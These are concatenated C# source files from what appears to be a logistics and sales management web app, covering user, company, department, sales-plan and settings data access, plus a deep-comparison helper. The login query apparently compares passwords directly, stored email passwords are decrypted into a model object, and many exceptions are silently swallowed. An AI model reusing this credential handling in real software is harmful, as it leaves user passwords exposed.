x.DeptFunction == UsersModel.Functions.Sales.ToString()) && x.IsActive);
return list.OrderBy(x => x.DeptName).AsEnumerable();
}
public IEnumerable<Company> GetCompanies(User user)
{
var qr = Context.Companies.AsQueryable();
if (user.IsComDirecter())
{
var comId = user.ControlCompanies.Select(x => x.ComId).ToList();
if (!comId.Contains(user.ComId.Value))
{
comId.Add(user.ComId.Value);
}
qr = qr.Where(x => comId.Contains(x.Id));
}
else
{
qr = qr.Where(x => x.Id == user.ComId);
}
return qr.AsEnumerable();
}
public List<SaleType> ListSaleType()
{
string sql = @"select * from SaleType
where Name not in( select distinct SaleType from Shipment )";
var listFree = Context.ExecuteQuery<SaleType>(sql);
return listFree.ToList();
}
public IEnumerable<UserSalePlan> getPlanComs(DateTime SearchDate)
{
try
{
IEnumerable<UserSalePlan> LeftJoin = (from Com1 in db.Companies
join SalePlan12
in
(from SalePlan1 in db.SalePlans
where (SalePlan1.PlanMonth == null) || (SalePlan1.PlanMonth.Equals(SearchDate))
select SalePlan1)
on Com1.Id equals SalePlan12.OfficeId
into JoinUsers
from SalePlan11 in JoinUsers.DefaultIfEmpty()
select new UserSalePlan(
Com1.Id,
0,
Com1.Id,
Com1.CompanyName,
SalePlan11.PlanValue
));
return LeftJoin;
}
catch (Exception e)
{
}
return null;
}
public SalePlan getSalePlanByCom(long ComdId1, DateTime SearchDate)
{
try
{
return db.SalePlans.FirstOrDefault(sp => sp.OfficeId == ComdId1 && (sp.PlanMonth == null || sp.PlanMonth.Equals(SearchDate)));
}
catch (Exception e) { }
return null;
}
public bool UpdateSalePlanCom(long ComId, DateTime monthDate, double SalePlanValue)
{
SalePlan SalePlan1 = getSalePlanByCom(ComId, monthDate);
try
{
if (SalePlan1 == null)
{
SalePlan1 = new SalePlan();
SalePlan1.OfficeId = ComId;
SalePlan1.PlanMonth = monthDate;
SalePlan1.PlanValue = Convert.ToDecimal(SalePlanValue);
db.SalePlans.InsertOnSubmit(SalePlan1);
db.SubmitChanges();
}
else
{
SalePlan1.PlanValue = Convert.ToDecimal(SalePlanValue);
db.SubmitChanges();
}
return true;
}
catch (Exception e)
{
}
return false;
}
public bool UpdateSalePlanDept(long DeptId, DateTime monthDate, double SalePlanValue)
{
SalePlan SalePlan1 = getSalePlanByDept(DeptId, monthDate);
try
{
if (SalePlan1 == null)
{
SalePlan1 = new SalePlan();
SalePlan1.DeptId = DeptId;
SalePlan1.PlanMonth = monthDate;
SalePlan1.PlanValue = Convert.ToDecimal(SalePlanValue);
db.SalePlans.InsertOnSubmit(SalePlan1);
db.SubmitChanges();
}
else
{
SalePlan1.PlanValue = Convert.ToDecimal(SalePlanValue);
db.SubmitChanges();
}
return true;
}
catch (Exception e)
{
}
return false;
}
public bool UpdateSalePlan(long UserId, DateTime monthDate, double SalePlanValue)
{
SalePlan SalePlan1 = getSalePlanByUser(UserId, monthDate);
try
{
if (SalePlan1 == null)
{
SalePlan1 = new SalePlan();
SalePlan1.UserId = UserId;
SalePlan1.PlanMonth = monthDate;
SalePlan1.PlanValue = Convert.ToDecimal(SalePlanValue);
db.SalePlans.InsertOnSubmit(SalePlan1);
db.SubmitChanges();
}
else
{
SalePlan1.PlanValue = Convert.ToDecimal(SalePlanValue);
db.SubmitChanges();
}
return true;
}
catch (Exception e)
{
System.Console.Write(e.Message.ToString());
}
return false;
}
public SalePlan getSalePlanByDept(long DeptId1, DateTime SearchDate)
{
try
{
return db.SalePlans.FirstOrDefault(sp => sp.DeptId == DeptId1 && (sp.PlanMonth == null || sp.PlanMonth.Equals(SearchDate)));
}
catch (Exception e) { }
return null;
}
public SalePlan getSalePlanByUser(long UserId1, DateTime SearchDate)
{
try
{
/* var Result = (from SalePlan1 in db.SalePlans
where SalePlan1.UserId == UserId1
&& ((SalePlan1.PlanMonth == null) || (SalePlan1.PlanMonth.Equals(SearchDate)))
select SalePlan1);*/
return db.SalePlans.FirstOrDefault(sp => sp.UserId == UserId1 && (sp.PlanMonth == null || sp.PlanMonth.Equals(SearchDate)));
}
catch (Exception e) { }
return null;
}
public IEnumerable<UserSalePlan> getPlanDepts(DateTime SearchDate)
{
try
{
IEnumerable<UserSalePlan> LeftJoin = (from Dept1 in db.Departments
where "Sales,Operations".Split(',').Contains(Dept1.DeptFunction) && Dept1.IsActive==true
join SalePlan12
in
(from SalePlan1 in db.SalePlans
where (SalePlan1.PlanMonth == null) || (SalePlan1.PlanMonth.Equals(SearchDate))
select SalePlan1)
on Dept1.Id equals SalePlan12.DeptId
into JoinUsers
from SalePlan11 in JoinUsers.DefaultIfEmpty()
select new UserSalePlan(
Dept1.Id,
Dept1.Id,
Dept1.Company.Id,
Dept1.DeptName,
SalePlan11.PlanValue
));
return LeftJoin;
}
catch (Exception e)
{
}
return null;
}
public IEnumerable<UserSalePlan> getPlanDepts(long CompanyId, DateTime SearchDate)
{
try
{
IEnumerable<UserSalePlan> LeftJoin = (from Dept1 in db.Departments
where Dept1.ComId == CompanyId && "Sales,Operations".Split(',').Contains(Dept1.DeptFunction) && Dept1.IsActive
join SalePlan12
in
(from SalePlan1 in db.SalePlans
where (SalePlan1.PlanMonth == null) || (SalePlan1.PlanMonth.Equals(SearchDate))
select SalePlan1)
on Dept1.Id equals SalePlan12.DeptId
into JoinUsers
from SalePlan11 in JoinUsers.DefaultIfEmpty()
select new UserSalePlan(
Dept1.Id,
Dept1.Id,
Dept1.Company.Id,
Dept1.DeptName,
SalePlan11.PlanValue
));
return LeftJoin;
}
catch (Exception e)
{
}
return null;
}
public IEnumerable<UserSalePlan> getQuataInMonth(long ComId, DateTime SearchDate)
{
try
{
IEnumerable<UserSalePlan> LeftJoin = (from User1 in db.Users
where User1.ComId == ComId
join SalePlan12
in
(from SalePlan1 in db.SalePlans
where (SalePlan1.PlanMonth == null) || (SalePlan1.PlanMonth.Equals(SearchDate))
select SalePlan1)
on User1.Id equals SalePlan12.UserId
into JoinUsers
from SalePlan11 in JoinUsers.DefaultIfEmpty()
select new UserSalePlan(
User1.Id,
User1.DeptId.Value,
User1.ComId.Value,
User1.FullName,
SalePlan11.PlanValue
));
return LeftJoin;
}
catch (Exception e)
{
}
return null;
}
public IEnumerable<UserSalePlan> getPlanDept(long deptId, DateTime SearchDate)
{
try
{
IEnumerable<UserSalePlan> LeftJoin = (from User1 in db.Users
where User1.DeptId == deptId
join SalePlan12
in
(from SalePlan1 in db.SalePlans
where (SalePlan1.PlanMonth == null) || (SalePlan1.PlanMonth.Equals(SearchDate))
select SalePlan1)
on User1.Id equals SalePlan12.UserId
into JoinUsers
from SalePlan11 in JoinUsers.DefaultIfEmpty()
select new UserSalePlan(
User1.Id,
User1.DeptId.Value,
User1.ComId.Value,
User1.FullName,
SalePlan11.PlanValue
));
return LeftJoin;
}
catch (Exception e)
{
}
return null;
}
private DataClasses1DataContext db;
public UsersServicesImpl()
{
db = new DataClasses1DataContext();
}
public List<UsersModel> getAllUser()
{
try
{
List<User> UserList1 = (from user1 in db.Users
where user1.RoleName != null && !user1.RoleName.Equals("Administrator")
select user1).ToList();
List<UsersModel> UsersModel1 = new List<UsersModel>();
if (UserList1 == null || UserList1.Count == 0)
{
return null;
}
foreach (User UserItem in UserList1)
{
UsersModel1.Add(ConvertModel(UserItem));
}
return UsersModel1;
}
catch (Exception e)
{
e.Message.ToString();
}
return null;
}
public List<UsersModel> getOpnSaleUser()
{
try
{
List<User> UserList1 = (from user1 in db.Users
where user1.Department != null && ("Operations".Equals(user1.Department.DeptFunction)
|| "Sales".Equals(user1.Department.DeptFunction)
&& user1.IsActive == true)
orderby user1.FullName ascending
select user1).ToList();
List<UsersModel> UsersModel1 = new List<UsersModel>();
if (UserList1 == null || UserList1.Count == 0)
{
return new List<UsersModel>();
}
foreach (User UserItem in UserList1)
{
UsersModel1.Add(ConvertModel(UserItem));
}
return UsersModel1;
}
catch (Exception e)
{
e.Message.ToString();
}
return null;
}
#region Convert User data model
public static UsersModel ConvertModel(User User1)
{
UsersModel UsersModel1 = new UsersModel();
UsersModel1.Address = User1.Address;
UsersModel1.Email = User1.Email;
UsersModel1.FullName = User1.FullName;
UsersModel1.Id = User1.Id;
UsersModel1.Note = User1.Note;
UsersModel1.Password = <PASSWORD>;
UsersModel1.UserName = User1.UserName;
UsersModel1.RoleName = UsersModel.RevertFromRoleName(User1.RoleName);
UsersModel1.ComId = (long)(User1.ComId ?? 0);
UsersModel1.DeptId = (long)(User1.DeptId ?? 0);
//------------------------------------------------------
UsersModel1.AllowCustomer = User1.AllowCustomer;
UsersModel1.AllowAirPort = User1.AllowAirPort;
UsersModel1.AllowApproRevenue = User1.AllowApproRevenue;
UsersModel1.AllowQuotaDept = User1.AllowQuotaDept;
UsersModel1.AllowQuotaOffice = User1.AllowQuotaOffice;
UsersModel1.AllowSeaPort = User1.AllowSeaPort;
UsersModel1.AllowSetSales = User1.AllowSetSales;
UsersModel1.AllowSettingSystem = User1.AllowSettingSystem;
UsersModel1.AllowTrackAirIn = User1.AllowTrackAirIn;
UsersModel1.AllowTrackAirOut = User1.AllowTrackAirOut;
UsersModel1.AllowTrackInlandSer = User1.AllowTrackInlandSer;
UsersModel1.AllowTrackOtherSer = User1.AllowTrackOtherSer;
UsersModel1.AllowTrackProjectSer = User1.AllowTrackProjectSer;
UsersModel1.AllowTrackSeaIn = User1.AllowTrackSeaIn;
UsersModel1.AllowTrackSeaOut = User1.AllowTrackSeaOut;
UsersModel1.AllowUpdateAgent = User1.AllowUpdateAgent;
UsersModel1.AllowUpdateAirRate = User1.AllowUpdateAirRate;
UsersModel1.AllowUpdatePartner = User1.AllowUpdatePartner;
UsersModel1.AllowUpdateSeaRate = User1.AllowUpdateSeaRate;
UsersModel1.AllowTrading = User1.AllowTrading;
UsersModel1.AllowApprovedStockCard = User1.AllowApprovedStockCard;
UsersModel1.AllowFreight = User1.AllowFreight;
UsersModel1.AllowDataTrading = User1.AllowDataTrading;
UsersModel1.AllowInforEdit = User1.AllowInforEdit;
UsersModel1.AllowInfoAll = User1.AllowInfoAll;
UsersModel1.AllowRegulationEdit = User1.AllowRegulationEdit;
UsersModel1.AllowRegulationApproval = User1.AllowRegulationApproval;
UsersModel1.Level = (int)(User1.DirectorLevel ?? 0);
UsersModel1.SetPass = (bool)User1.SetPass;
UsersModel1.ComName = User1.Company != null ? User1.Company.CompanyName : "";
UsersModel1.DeptName = User1.Department != null ? User1.Department.DeptName : "";
UsersModel1.ControlCompany = User1.ControlCompanies.ToList();
UsersModel1.IsActive = User1.IsActive;
UsersModel1.CheckingRevenue = User1.CheckingRevenue;
UsersModel1.AllowEditReport = User1.AllowEditReport;
UsersModel1.AllowFollowDept = User1.AllowFollowDept;
UsersModel1.DeptFollowIds = User1.DeptFollowIds;
UsersModel1.EmailNameDisplay = User1.EmailNameDisplay;
if (!string.IsNullOrEmpty(User1.EmailPassword))
{
UsersModel1.EmailPassword = User1.EmailPassword.Decrypt();
}
return UsersModel1;
}
private User revertModel(UsersModel UsersModel1)
{
User User1 = new User();
User1.Address = UsersModel1.Address;
User1.Email = UsersModel1.Email;
User1.FullName = UsersModel1.FullName;
User1.Id = UsersModel1.Id;
User1.Note = UsersModel1.Note;
User1.PassWord = <PASSWORD>;
User1.UserName = UsersModel1.UserName;
User1.ComId = UsersModel1.ComId;
User1.DeptId = UsersModel1.DeptId;
User1.RoleName = UsersModel.ConvertToRoleName(UsersModel1.RoleName, getDepartmentById(UsersModel1.DeptId).DeptFunction);
User1.AllowAirPort = UsersModel1.AllowAirPort;
User1.AllowCustomer = UsersModel1.AllowCustomer;
User1.AllowApproRevenue = UsersModel1.AllowApproRevenue;
User1.AllowQuotaDept = UsersModel1.AllowQuotaDept;
User1.AllowQuotaOffice = UsersModel1.AllowQuotaOffice;
User1.AllowSeaPort = UsersModel1.AllowSeaPort;
User1.AllowSetSales = UsersModel1.AllowSetSales;
User1.AllowSettingSystem = UsersModel1.AllowSettingSystem;
User1.AllowTrackAirIn = UsersModel1.AllowTrackAirIn;
User1.AllowTrackAirOut = UsersModel1.AllowTrackAirOut;
User1.AllowTrackInlandSer = UsersModel1.AllowTrackInlandSer;
User1.AllowTrackOtherSer = UsersModel1.AllowTrackOtherSer;
User1.AllowTrackProjectSer = UsersModel1.AllowTrackProjectSer;
User1.AllowTrackSeaIn = UsersModel1.AllowTrackSeaIn;
User1.AllowTrackSeaOut = UsersModel1.AllowTrackSeaOut;
User1.AllowUpdateAgent = UsersModel1.AllowUpdateAgent;
User1.AllowUpdateAirRate = UsersModel1.AllowUpdateAirRate;
User1.AllowUpdatePartner = UsersModel1.AllowUpdatePartner;
User1.AllowUpdateSeaRate = UsersModel1.AllowUpdateSeaRate;
User1.AllowTrading = UsersModel1.AllowTrading;
User1.AllowFreight = UsersModel1.AllowFreight;
User1.AllowDataTrading = UsersModel1.AllowDataTrading;
User1.AllowApprovedStockCard = UsersModel1.AllowApprovedStockCard;
User1.AllowInforEdit = UsersModel1.AllowInforEdit;
User1.AllowInfoAll = UsersModel1.AllowInfoAll;
User1.AllowRegulationEdit = UsersModel1.AllowRegulationEdit;
User1.AllowRegulationApproval = UsersModel1.AllowRegulationApproval;
User1.DirectorLevel = UsersModel1.Level;
User1.SetPass = UsersModel1.SetPass;
User1.IsActive = UsersModel1.IsActive;
User1.CheckingRevenue = UsersModel1.CheckingRevenue;
User1.AllowEditReport = UsersModel1.AllowEditReport;
User1.AllowFollowDept = UsersModel1.AllowFollowDept;
User1.DeptFollowIds = UsersModel1.DeptFollowIds;
User1.EmailNameDisplay = UsersModel1.EmailNameDisplay;
if (!string.IsNullOrEmpty(UsersModel1.EmailPassword))
{
User1.EmailPassword = UsersModel1.EmailPassword.Encrypt();
}
return User1;
}
private void revertModel(UsersModel UsersModel1, User User1)
{
User1.Address = UsersModel1.Address;
User1.Email = UsersModel1.Email;
User1.FullName = UsersModel1.FullName;
//User1.Id = UsersModel1.Id;
User1.Note = UsersModel1.Note;
User1.PassWord = <PASSWORD>;
User1.UserName = UsersModel1.UserName;
User1.ComId = UsersModel1.ComId;
User1.DeptId = UsersModel1.DeptId;
User1.RoleName = UsersModel.ConvertToRoleName(UsersModel1.RoleName, getDepartmentById(UsersModel1.DeptId).DeptFunction);
User1.AllowAirPort = UsersModel1.AllowAirPort;
User1.AllowCustomer = UsersModel1.AllowCustomer;
User1.AllowApproRevenue = UsersModel1.AllowApproRevenue;
User1.AllowQuotaDept = UsersModel1.AllowQuotaDept;
User1.AllowQuotaOffice = UsersModel1.AllowQuotaOffice;
User1.AllowSeaPort = UsersModel1.AllowSeaPort;
User1.AllowSetSales = UsersModel1.AllowSetSales;
User1.AllowSettingSystem = UsersModel1.AllowSettingSystem;
User1.AllowTrackAirIn = UsersModel1.AllowTrackAirIn;
User1.AllowTrackAirOut = UsersModel1.AllowTrackAirOut;
User1.AllowTrackInlandSer = UsersModel1.AllowTrackInlandSer;
User1.AllowTrackOtherSer = UsersModel1.AllowTrackOtherSer;
User1.AllowTrackProjectSer = UsersModel1.AllowTrackProjectSer;
User1.AllowTrackSeaIn = UsersModel1.AllowTrackSeaIn;
User1.AllowTrackSeaOut = UsersModel1.AllowTrackSeaOut;
User1.AllowUpdateAgent = UsersModel1.AllowUpdateAgent;
User1.AllowUpdateAirRate = UsersModel1.AllowUpdateAirRate;
User1.AllowUpdatePartner = UsersModel1.AllowUpdatePartner;
User1.AllowUpdateSeaRate = UsersModel1.AllowUpdateSeaRate;
User1.AllowTrading = UsersModel1.AllowTrading;
User1.AllowApprovedStockCard = UsersModel1.AllowApprovedStockCard;
User1.AllowFreight = UsersModel1.AllowFreight;
User1.AllowDataTrading = UsersModel1.AllowDataTrading;
User1.AllowInforEdit = UsersModel1.AllowInforEdit;
User1.AllowInfoAll = UsersModel1.AllowInfoAll;
User1.AllowRegulationEdit = UsersModel1.AllowRegulationEdit;
User1.AllowRegulationApproval = UsersModel1.AllowRegulationApproval;
User1.DirectorLevel = UsersModel1.Level;
User1.SetPass = UsersModel1.SetPass;
User1.IsActive = UsersModel1.IsActive;
User1.CheckingRevenue = UsersModel1.CheckingRevenue;
User1.AllowEditReport = UsersModel1.AllowEditReport;
User1.AllowFollowDept = UsersModel1.AllowFollowDept;
User1.DeptFollowIds = UsersModel1.DeptFollowIds;
User1.EmailNameDisplay = UsersModel1.EmailNameDisplay;
if (!string.IsNullOrEmpty(UsersModel1.EmailPassword))
{
User1.EmailPassword = UsersModel1.EmailPassword.Encrypt();
}
}
#endregion
public List<UsersModel> getUsersBy(UsersModel UsersModel1)
{
return null;
}
public long createUser(UsersModel UsersModel1)
{
User User1 = revertModel(UsersModel1);
db.Users.InsertOnSubmit(User1);
db.SubmitChanges();
return User1.Id;
}
public void createUser(User User1)
{
db.Users.InsertOnSubmit(User1);
db.SubmitChanges();
}
public void updateUser(UsersModel UsersModel1)
{
User OldUser = getUserById(UsersModel1.Id);
revertModel(UsersModel1, OldUser);
Commited();
}
public UsersModel getUserModelById(long UserId1)
{
User Users1 = (from Users_ in db.Users
where Users_.Id == UserId1
select Users_).First();
if (Users1 != null)
{
return ConvertModel(Users1);
}
return null;
}
public User getUserById(long UserId1)
{
try
{
User Users1 = FindEntity(x => x.Id == UserId1);
return Users1;
}
catch (Exception e) { }
return null;
}
public User getUserById(String UserName)
{
try
{
User Users1 = (from Users_ in db.Users
where Users_.UserName == UserName
select Users_).First();
return Users1;
}
catch (Exception e)
{
}
return null;
}
public void createCompanyControl(long UserId1, long[] CompanyIds)
{
try
{
var ctr = db.ControlCompanies.Where(x => x.UserId == UserId1);
db.ControlCompanies.DeleteAllOnSubmit(ctr);
if (CompanyIds != null && CompanyIds.Any())
{
foreach (long CompanyId1 in CompanyIds)
{
ControlCompany ControlCompany1 = new ControlCompany();
ControlCompany1.ComId = CompanyId1;
ControlCompany1.UserId = UserId1;
db.ControlCompanies.InsertOnSubmit(ControlCompany1);
}
}
db.SubmitChanges();
}
catch (Exception ex)
{
Logger.LogError(ex);
}
}
public User getUserLogIn(string UserName, string Password)
{
IEnumerable<User> UserList1 = (from Users_ in db.Users
where Users_.UserName == UserName && Users_.PassWord == <PASSWORD> && Users_.IsActive
select Users_);
if (UserList1 == null || UserList1.Count() <= 0)
{
return null;
}
else
{
return UserList1.First();
}
}
public IEnumerable<Department> getAllDepartment()
{
try
{
return db.Departments.ToList();
}
catch (Exception e)
{
}
return new List<Department>();
}
public IEnumerable<Department> GetAllDepartmentActive(User user, bool isAll = false)
{
return db.Departments.Where(x => x.IsActive
&& ((user.IsAdminAndAcct() || isAll) || (isAll == false && user.DeptId == x.Id))
).OrderBy(x=>x.DeptName).Select(x => x);
}
public IEnumerable<Company> getAllCompany()
{
try
{
return db.Companies.OrderBy(x => x.CompanyName).ToList();
}
catch (Exception e)
{
Logger.LogError(e);
}
return new List<Company>();
}
public void updateCompany(CompanyModel CompanyModel1)
{
Company Company1 = getCompanyById(CompanyModel1.Id);
revertCompany(CompanyModel1, Company1);
db.SubmitChanges();
}
public void updateDepartment(DepartmentModel DepartmentModel1)
{
try
{
Department Department1 = getDepartmentById(DepartmentModel1.Id);
revertDepartment(DepartmentModel1, Department1);
db.SubmitChanges();
}
catch (Exception e)
{
Logger.LogError(e);
}
}
public void insertCompany(CompanyModel CompanyModel1)
{
Company Company1 = revertCompany(CompanyModel1);
db.Companies.InsertOnSubmit(Company1);
db.SubmitChanges();
}
public bool deleteComById(long Id)
{
try
{
Company Company1 = getCompanyById(Id);
db.Companies.DeleteOnSubmit(Company1);
db.SubmitChanges();
return true;
}
catch (Exception e)
{
Logger.LogError(e);
}
return false;
}
public void insertDepartment(DepartmentModel DepartmentModel1)
{
Department Department1 = revertDepartment(DepartmentModel1);
db.Departments.InsertOnSubmit(Department1);
db.SubmitChanges();
}
public Company getCompanyById(long id)
{
try
{
return db.Companies.FirstOrDefault(e => e.Id == id);
}
catch (Exception e)
{
Logger.LogError(e);
return null;
}
}
public Department getDepartmentById(long id)
{
try
{
return db.Departments.FirstOrDefault(e => e.Id == id);
}
catch (Exception e)
{
Logger.LogError(e);
return null;
}
}
public bool deleteDeptById(long Id)
{
try
{
Department Department1 = getDepartmentById(Id);
db.Departments.DeleteOnSubmit(Department1);
db.SubmitChanges();
return true;
}
catch (Exception e)
{
Logger.LogError(e);
}
return false;
}
#region Convert Departmant Model Data
private DepartmentModel revertDepartment(Department Department1)
{
DepartmentModel DepartmentModel1 = new DepartmentModel();
DepartmentModel1.DeptCode = Department1.DeptCode;
DepartmentModel1.DeptName = Department1.DeptName;
DepartmentModel1.Description = Department1.Description;
DepartmentModel1.DeptFunction = Department1.DeptFunction;
DepartmentModel1.ComId = Department1.ComId.Value;
DepartmentModel1.IsActive = Department1.IsActive;
return DepartmentModel1;
}
private Department revertDepartment(DepartmentModel DepartmentModel1)
{
Department Department1 = new Department();
Department1.DeptCode = DepartmentModel1.DeptCode;
Department1.DeptName = DepartmentModel1.DeptName;
Department1.Description = DepartmentModel1.Description;
Department1.DeptFunction = DepartmentModel1.DeptFunction;
Department1.ComId = DepartmentModel1.ComId;
Department1.IsActive = DepartmentModel1.IsActive;
return Department1;
}
private void revertDepartment(DepartmentModel DepartmentModel1, Department Department1)
{
Department1.DeptCode = DepartmentModel1.DeptCode;
Department1.DeptName = DepartmentModel1.DeptName;
Department1.Description = DepartmentModel1.Description;
Department1.DeptFunction = DepartmentModel1.DeptFunction;
Department1.ComId = DepartmentModel1.ComId;
Department1.IsActive = DepartmentModel1.IsActive;
}
#endregion
#region Convert Company Model Data
private CompanyModel revertCompany(Company Company1)
{
CompanyModel CompanyModel1 = new CompanyModel();
CompanyModel1.CompanyCode = Company1.CompanyCode;
CompanyModel1.CompanyName = Company1.CompanyName;
CompanyModel1.Description = Company1.Description;
CompanyModel1.Address = Company1.Address;
CompanyModel1.PhoneNumber = Company1.PhoneNumber;
return CompanyModel1;
}
private Company revertCompany(CompanyModel CompanyModel1)
{
Company Company1 = new Company();
Company1.CompanyCode = CompanyModel1.CompanyCode;
Company1.CompanyName = CompanyModel1.CompanyName;
Company1.Description = CompanyModel1.Description;
Company1.Address = CompanyModel1.Address;
Company1.PhoneNumber = CompanyModel1.PhoneNumber;
return Company1;
}
private void revertCompany(CompanyModel CompanyModel1, Company Company1)
{
Company1.CompanyCode = CompanyModel1.CompanyCode;
Company1.CompanyName = CompanyModel1.CompanyName;
Company1.Description = CompanyModel1.Description;
Company1.Address = CompanyModel1.Address;
Company1.PhoneNumber = CompanyModel1.PhoneNumber;
}
#endregion
public CompanyModel getCompanyModelById(long id)
{
Company Company1 = getCompanyById(id);
if (Company1 != null)
{
return revertCompany(Company1);
}
return null;
}
public DepartmentModel getDepartmentModelById(long id)
{
Department Department1 = getDepartmentById(id);
if (Department1 != null)
{
return revertDepartment(Department1);
}
return null;
}
private Setting getTaxSetting()
{
try
{
return db.Settings.FirstOrDefault(s => s.DataCode == SettingModel.TAX_COMMISSION);
}
catch (Exception e)
{
Logger.LogError(e);
}
return null;
}
private Setting getSetting(String Name)
{
try
{
return db.Settings.FirstOrDefault(s => s.DataCode == Name);
}
catch (Exception e)
{
Logger.LogError(e);
}
return null;
}
public bool UpdateComSetting(String Name, Object Value)
{
try
{
Setting TaxSetting = getSetting(Name);
if (TaxSetting != null)
{
TaxSetting.DataValue = Value.ToString();
}
else
{
Setting Setting1 = new Setting();
Setting1.DataCode = Name;
Setting1.DataValue = Value.ToString();
db.Settings.InsertOnSubmit(Setting1);
}
db.SubmitChanges();
}
catch (Exception e)
{
Logger.LogError(e);
return false;
}
return true;
}
public String getComSetting(String Name)
{
Setting TaxSetting = getSetting(Name);
if (TaxSetting != null)
{
return TaxSetting.DataValue;
}
return "";
}
public Setting getComLogoSetting(String Name)
{
Setting TaxSetting = getSetting(Name);
if (TaxSetting != null)
{
return TaxSetting;
}
return null;
}
public bool UpdateTaxCommission(long Tax)
{
try
{
Setting taxSetting = getTaxSetting();
if (taxSetting != null)
{
taxSetting.DataValue = Tax.ToString();
}
else
{
Setting setting1 = new Setting();
setting1.DataCode = SettingModel.TAX_COMMISSION;
setting1.DataValue = Tax.ToString();
db.Settings.InsertOnSubmit(setting1);
}
db.SubmitChanges();
}
catch (Exception e)
{
return false;
}
return true;
}
public bool UpdatePageSeting(int page)
{
try
{
Setting pageSetting = Context.Settings.FirstOrDefault(x => x.DataCode == SettingModel.PAGE_SETTING);
if (pageSetting != null)
{
pageSetting.DataValue = page.ToString();
}
else
{
Setting setting1 = new Setting();
setting1.DataCode = SettingModel.PAGE_SETTING;
setting1.DataValue = page.ToString();
db.Settings.InsertOnSubmit(setting1);
}
db.SubmitChanges();
}
catch (Exception e)
{
return false;
}
return true;
}
public bool UpdateCRMDayCacelSeting(string day)
{
try
{
Setting pageSetting = Context.Settings.FirstOrDefault(x => x.DataCode == SettingModel.CRM_DAYCANCEL_SETTING);
if (pageSetting != null)
{
pageSetting.DataValue = day;
}
else
{
Setting setting1 = new Setting();
setting1.DataCode = SettingModel.PAGE_SETTING;
setting1.DataValue = day;
db.Settings.InsertOnSubmit(setting1);
}
db.SubmitChanges();
}
catch (Exception e)
{
Logger.LogError(e);
return false;
}
return true;
}
public bool UpdateSaleType(SaleType SaleType1)
{
try
{
db.SubmitChanges();
}
catch (Exception e)
{
Logger.LogError(e);
return false;
}
return true;
}
public bool InsertSaleType(SaleType SaleType1)
{
try
{
db.SaleTypes.InsertOnSubmit(SaleType1);
db.SubmitChanges();
}
catch (Exception e)
{
Logger.LogError(e);
return false;
}
return true;
}
public Setting getTaxCommissiong()
{
return getTaxSetting();
}
public Setting PageSettingNumber()
{
Setting pageSetting = Context.Settings.FirstOrDefault(x => x.DataCode == SettingModel.PAGE_SETTING);
if (pageSetting == null)
{
pageSetting = new Setting()
{
DataValue = "100",
DataCode = SettingModel.PAGE_SETTING
};
Context.Settings.InsertOnSubmit(pageSetting);
Commited();
}
return pageSetting;
}
public Setting CRMDayCanelSettingNumber()
{
Setting pageSetting = Context.Settings.FirstOrDefault(x => x.DataCode == SettingModel.CRM_DAYCANCEL_SETTING);
if (pageSetting == null)
{
pageSetting = new Setting()
{
DataValue = "365",
DataCode = SettingModel.CRM_DAYCANCEL_SETTING
};
Context.Settings.InsertOnSubmit(pageSetting);
Commited();
}
return pageSetting;
}
public SaleType getSaleTypeById(long Id)
{
try
{
return db.SaleTypes.FirstOrDefault(s => s.Id == Id);
}
catch (Exception e)
{
Logger.LogError(e);
}
return null;
}
public IEnumerable<SaleType> getAllSaleTypes(bool Active)
{
try
{
return (from SaleType1 in db.SaleTypes
where !Active || SaleType1.Active == true
select SaleType1);
}
catch (Exception e)
{
Logger.LogError(e);
}
return null;
}
public bool DeleteSaleType(long Id)
{
try
{
db.SaleTypes.DeleteOnSubmit(getSaleTypeById(Id));
db.SubmitChanges();
return true;
}
catch (Exception e)
{
Logger.LogError(e);
}
return false;
}
public IQueryable<User> GetAllSalesAndOp(User user, bool isAll = true)
{
var qr =
GetQuery(
x =>
x.IsActive == true && !x.Department.DeptFunction.Equals(UsersModel.Positions.Operations.ToString()) &&
!x.Department.DeptFunction.Equals(UsersModel.Positions.Sales.ToString()));
if (user.IsComDirecter())
{
var comId = user.ControlCompanies.Select(x => x.ComId).ToList();
if (!comId.Contains(user.ComId.Value))
{
comId.Add(user.ComId.Value);
}
qr = qr.Where(x => comId.Contains(x.ComId.Value));
}
if (user.IsAccountant())
{
qr = qr.Where(x => x.ComId == user.ComId);
}
if (!user.IsAdminAndAcct() && !isAll)
qr = qr.Where(x => x.DeptId == user.DeptId);
return qr.OrderBy(x => x.FullName);
}
}
}<file_sep>using System;
using System.Collections.Generic;
using Newtonsoft.Json;
namespace SSM.Common
{
public static class DeppCompare
{
public static bool DeepEquals<T>(this IEnumerable<T> obj, IEnumerable<T> another, out List<string> listMessage)
{
listMessage = new List<string>();
if (ReferenceEquals(obj, another)) return true;
if ((obj == null) || (another == null)) return false;
bool result = true;
//Duyệt từng phần tử trong 2 list đưa vào
using (IEnumerator<T> enumerator1 = obj.GetEnumerator())
using (IEnumerator<T> enumerator2 = another.GetEnumerator())
{
while (true)
{
bool hasNext1 = enumerator1.MoveNext();
bool hasNext2 = enumerator2.MoveNext();
//Nếu có 1 list hết, hoặc 2 phần tử khác nhau, thoát khoải vòng lặp
if (hasNext1 != hasNext2 || !enumerator1.Current.DeepEquals(enumerator2.Current, out listMessage))
{
result = false;
break;
}
//Dừng vòng lặp khi 2 list đều hết
if (!hasNext1) break;
}
}
return result;
}
private static readonly List<string> ListMessageDeepEquals= new List<string>();
public static bool DeepEquals(this object obj, object another, out List<string> listMessage)
{
listMessage = new List<string>();
if (ReferenceEquals(obj, another)) return true;
if ((obj == null) || (another == null)) return false;
if (obj.GetType() != another.GetType()) return false;
//Nếu property không phải class, chỉ là int, double, DateTime v...v
//Gọi hàm equal thông thường
if (!obj.GetType().IsClass) return obj.Equals(another);
var result = true;
try
{
foreach (var property in obj.GetType().GetProperties())
{
var objValue = property.GetValue(obj, null);
var anotherValue = property.GetValue(another, null);
//Tiếp tục đệ quy
if (objValue.DeepEquals(anotherValue, out listMessage)) continue;
var message = string.Format("- {0} had change value from {1} to {2}", property.Name, objValue,
anotherValue);
listMessage.Add(message);
ListMessageDeepEquals.Add(message);
result = false;
}
listMessage = ListMessageDeepEquals;
}
catch (Exception ex)
{
var errorM = ex.Message;
Logger.LogError(ex);
}
return result;
}
public static bool JSONEquals(this object obj, object another)
{
if (ReferenceEquals(obj, another)) return true;
if ((obj == null) || (another == null)) return false;
if (obj.GetType() != another.GetType()) return false;
var objJson = JsonConvert.SerializeObject(obj);
var anotherJson = JsonConvert.SerializeObject(another);
return objJson == anotherJson;
}
}
}<file_sep>/* jSelect (using jQuery library).
*--------------------------------------------*
